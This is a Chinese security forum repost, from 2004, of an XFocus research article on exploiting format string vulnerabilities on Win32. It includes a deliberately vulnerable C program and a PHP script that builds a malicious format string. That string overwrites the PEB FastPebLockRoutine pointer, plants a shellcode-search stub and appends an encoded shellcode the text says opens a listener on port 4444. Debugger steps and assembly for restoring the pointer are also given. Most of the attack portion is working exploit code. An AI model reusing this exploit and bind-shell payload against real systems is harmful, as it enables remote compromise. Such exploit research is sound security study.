论坛: 编程破解 标题: Win32平台格式化串漏洞利用技术-来自XFOCUS.NET 复制本贴地址    
作者: hackerjune [hackerjune]    论坛用户   登录

创建时间：2004-11-05
文章属性：原创
文章提交：san (san_at_xfocus.org)

整理：san
创建：2004.10.26

本文缘起KF在0dd邮件列表的问题，由于Win32平台的格式化串漏洞相对很少，所以以前没有关注过。不过David Litchfield曾经写过Win32平台格式化串漏洞的利用技术，但是他用的方法并不是很好，于是有了此文。

1.1 Win32平台格式化串与其它平台的不同

在Linux平台下直接指定要访问的参数的"$"格式符在Win32下根本就不支持：

D:\working\research\Win32 format\2004.10.27>type d_test.c
main()
{
    printf ("%6$d\n", 6, 5, 4, 3, 2, 1);
}

用VC6编译后运行查看结果：

D:\working\research\Win32 format\2004.10.27>cl d_test.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

d_test.c
Microsoft (R) Incremental Linker Version 6.00.8447
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:d_test.exe
d_test.obj

D:\working\research\Win32 format\2004.10.27>d_test
$d

输出的居然就是"$d"。所以在Linux平台的那种"%%%d$hn"格式串在Win32下是无法利用，不过这也没关系，用其它格式符pop参数就可以了。存在的弊端就是构造格式串的字符串可能会稍长，但这在很多情况下是不影响的。

另外还有一个问题就是Win32的堆栈地址不如Linux/Unix那么稳定，而且Win32堆栈地址一般都是0x0012e000这样的地址，最开始的一个字节包含0，所以覆盖函数保存在堆栈里的返回地址的方法就不是那么自如了（David Litchfield提到的方法是把堆栈地址放在格式串的最后，那么和格式串结束符0正好组合成完整的堆栈地址），选堆栈地址作为shellcode地址也不是那么稳定。下面我们将用实例演示Win32平台格式串更好的利用方法。

1.2 Win32平台格式化串的利用方法演示

首先我们构造一个存在格式化串漏洞的程序：

/* Windows format strings demo
*
*  san@xfocus.org
*  2004.10.26
*/

#include <stdio.h>
#define IOSIZE 1024

int main(int argc, char **argv )
{
    FILE * binFileH;
    char binFile[] = "binfile";
    char buf[IOSIZE];

    if ( (binFileH = fopen(binFile, "rb")) == NULL )
    {
        printf("can't open file %s!\n", binFile);
        exit();
    }

    memset(buf, 0, sizeof(buf));
    fread(buf, sizeof(char), IOSIZE, binFileH);

    printf("%d\n", strlen(buf));
    printf(buf);

    fclose(binFileH);
}

这是一个很简单的程序，它从当前目录的"binfile"文件读取内容，然后把这些内容直接作为printf的参数打印，典型的格式化串漏洞。构造一个包含如下内容的"binfile"文件：

AAAABBBB|%x|%x|%x|%x|%x

运行这个format程序：

D:\working\research\Win32 format\2004.10.27>format
23
AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c

可以发现只需pop掉两次参数就能显示格式串最开始的内容。不过Win32下我们到底覆盖什么地址比较好呢？BasepCurrentTopLevelFilter指针是个不错主意，但是它的地址在各种版本都不相同。由于格式化串漏洞可以实现多次往任意地址写任意内容，那么我们是否可以写一段代码到一个地址，然后把这个地址写到Peb->FastPebLockRoutine指针，那么在程序退出时调用Peb->FastPebLockRoutine指针就能执行到我们的代码。我们的这个代码来实现搜索堆栈中shellcode的任务：

7FFDF250    54              PUSH ESP
7FFDF251    5F              POP EDI
7FFDF252    B8 90909090    MOV EAX,90909090
7FFDF257    FC              CLD
7FFDF258    F2:AF          REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A    57              PUSH EDI
7FFDF25B    C3              RETN

这段代码的意思是从当前esp开始往高地址搜索包含0x90909090的内容，如果找到就进入该代码执行。往esp高地址还是低地址搜索取决于当时的情况。这个搜索代码有12个字节，加上覆盖地址的4个字节，一共是16个字节，要求往内存地址写8次。由于C语言处理字符串有些麻烦，所以我用PHP写了如下构造格式串的过程：

<?php
/* Windows format strings demo
*
*  san@xfocus.org
*  2004.10.26
*/

$flag = 2;
$shellcode =
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x58\x01\x80\x34\x0b\xf8\xe2\xfa".
"\xeb\x05\xe8\xeb\xff\xff\xff\x11\xda\xf9\xf8\xf8\xa7\x9c\x59\xc8".
"\xf8\xf8\xf8\xa8\x73\xb8\xf4\x73\xb8\xe4\x73\x90\xf0\xa8\x73\x0f".
"\x92\xfa\xa1\x10\x39\xf8\xf8\xf8\x1a\x01\xa0\x73\xf8\x73\x90\xf0".
"\xa0\x07\xce\x77\xb8\xd8\x07\x8e\xfc\x77\xb8\xdc\x92\xfb\xa1\x10".
"\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f\x8b\xca\xa7".
"\xac\x07\xae\xf0\x73\x10\x92\xfd\xa1\x10\x73\xf8\xf8\xf8\x1a\x01".
"\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae\xec\xa8".
"\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe0\x73\x20\xcb\x38\xa8\xa8".
"\xa8\x73\x04\x9e\x3f\xff\xfa\xf8\x9e\x73\xbe\xd0\x7e\x3c\x9e\x71".
"\xbf\xfa\x92\xe8\xaf\xab\x07\xae\xe4\x92\xf9\xab\x07\xae\xd8\xa8".
"\xa8\xab\x07\xae\xdc\x73\x20\x90\x9b\x95\x9c\xf8\x75\xec\xdc\x7b".
"\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a\x03\x3e\xbf".
"\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7\xb4\x71\xa7".
"\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9\xaa\xa9\x07".
"\xae\xf4\xcb\x38\xb0\xa8\x07\xae\xe8\xa9\xae\x73\x8d\xc4\x73\x8c".
"\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1\xb9\x55\xfb".
"\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff\xfb\x22\xb8".
"\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e\x73\xf4\xb3".
"\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1\x3b\x10\x21".
"\x06\x07\x07\x06\xdc\x81\x9c\x22\x06\xf1\x6e\xca\x8c\x69\xf4\x31".
"\x44\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c".
"\xe8\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d";

/*
7FFDF250    54              PUSH ESP
7FFDF251    5F              POP EDI
7FFDF252    B8 90909090    MOV EAX,90909090
7FFDF257    FC              CLD
7FFDF258    F2:AF          REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A    57              PUSH EDI
7FFDF25B    C3              RETN
*/
$fmt_array = array(
                    0x7FFDF250 => "0x5f54",
                    0x7FFDF252 => "0x90b8",
                    0x7FFDF254 => "0x9090",
                    0x7FFDF256 => "0xfc90",
                    0x7FFDF258 => "0xaff2",
                    0x7FFDF25A => "0xc357",
                    0x7FFDF022 => "0x7ffd",
                    0x7FFDF020 => "0xf250",
                  );

asort($fmt_array);
print_r($fmt_array);
$count = count($fmt_array);

$head = "";
$tail = "";
$last = 0;
foreach($fmt_array as $k => $v) {
    printf("%x\n", $k);
    $b0 = sprintf("%c", (($k >> 24) & 0xff));
    $b1 = sprintf("%c", (($k >> 16) & 0xff));
    $b2 = sprintf("%c", (($k >>  8) & 0xff));
    $b3 = sprintf("%c", (($k      ) & 0xff));

    if (!$last) {
        $last += 8*$count+8*$flag;
    }

    $head .= "AAAA".$b3.$b2.$b1.$b0;
    $tail .= "%".($v-$last)."c%hn";
    $last  = $v;
}
$fmt_str  = $head.(str_repeat("%.8x", $flag)).$tail;

$fmt_str .= str_repeat("\x90", 100).$shellcode;

$fp = fopen("binfile", "wb");
fwrite($fp, $fmt_str);
fclose($fp);
?>

生成"binfile"文件后用SoftICE的Symbol Loader加载format.exe程序进行调试，首先对0x7ffdf020下一个读写断点：

:bpm 7ffdf020
:dd 7ffdf020
:g

运行4个g以后，0x7ffdf020的内容被改写为0x7ffdf250，而且0x7ffdf250开始的地址也写入了上面12个字节搜索shellcode的代码。这时在0x7ffdf250下一个断点：

:bpx 7ffdf250
:g

运行两个g以后就进入该地区：

001B:7FFDF250  54                  PUSH      ESP
001B:7FFDF251  5F                  POP      EDI
001B:7FFDF252  B890909090          MOV      EAX,90909090
001B:7FFDF257  FC                  CLD
001B:7FFDF258  F2AF                REPNZ SCASD
001B:7FFDF25A  57                  PUSH      EDI
001B:7FFDF25B  C3                  RET

这时的ecx等于0x7FFDF250，所以我们不需要再给ecx赋值。esp等于0x0012EE78，正好我们的shellcode在esp高地址的地方，所以执行了一个cld指令，如果我们的shellcode在esp低地址的地方，那么cld指令应该换成std指令。按F10执行完ret指令后，代码滑入shellcode：

001B:0012FC10  90                  NOP

在shellcode里我们必须马上恢复Peb->FastPebLockRoutine指针的内容为RtlEnterCriticalSection函数的地址：

        mov    eax, fs:30h
        push    eax

        mov    eax, [eax+0Ch]
        mov    eax, [eax+1Ch]
        mov    ebp, [eax+8]                      ; base address of ntdll.dll
        push    eax

        mov    esi, edi

        push    _Nnums
        pop    ecx

        GetNFuncAddr:                          ; find functions from ntdll.dll
        call    find_hashfunc_addr
        loop    GetNFuncAddr

        pop    eax
        mov    eax, [eax]
        mov    ebp, [eax+8]                    ; base address of kernel32.dll
        pop    eax
        push    dword ptr [esi+_RtlEnterCriticalSection]
        pop    dword ptr [eax+0x20]
        push    dword ptr [esi+_RtlLeaveCriticalSection]
        pop    dword ptr [eax+0x24]

format.php里的shellcode被正确执行后会监听在4444端口。这个利用程序在Windows 2003下是无法利用的，因为Windows 2003的PEB里已经没有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针。在Windows XP SP2上利用的成功率也会很低，因为SP2的PEB里虽然还有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针，但是它的PEB基地址却不是固定的，进程每次运行都不会相同。

这种技术在其它平台也可以使用，只是其它平台未必有象Win32这样固定的类似Peb->FastPebLockRoutine指针。

广告时间：

本是XFocus Security Team的《网络渗透技术》（暂定名）一书中《Win32格式化串漏洞利用技术》一节。XFocus Security Team将在安全焦点技术研究版对本书做全面技术支持。

地主 发表时间: 04-11-06 15:26

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon

粤ICP备05087286号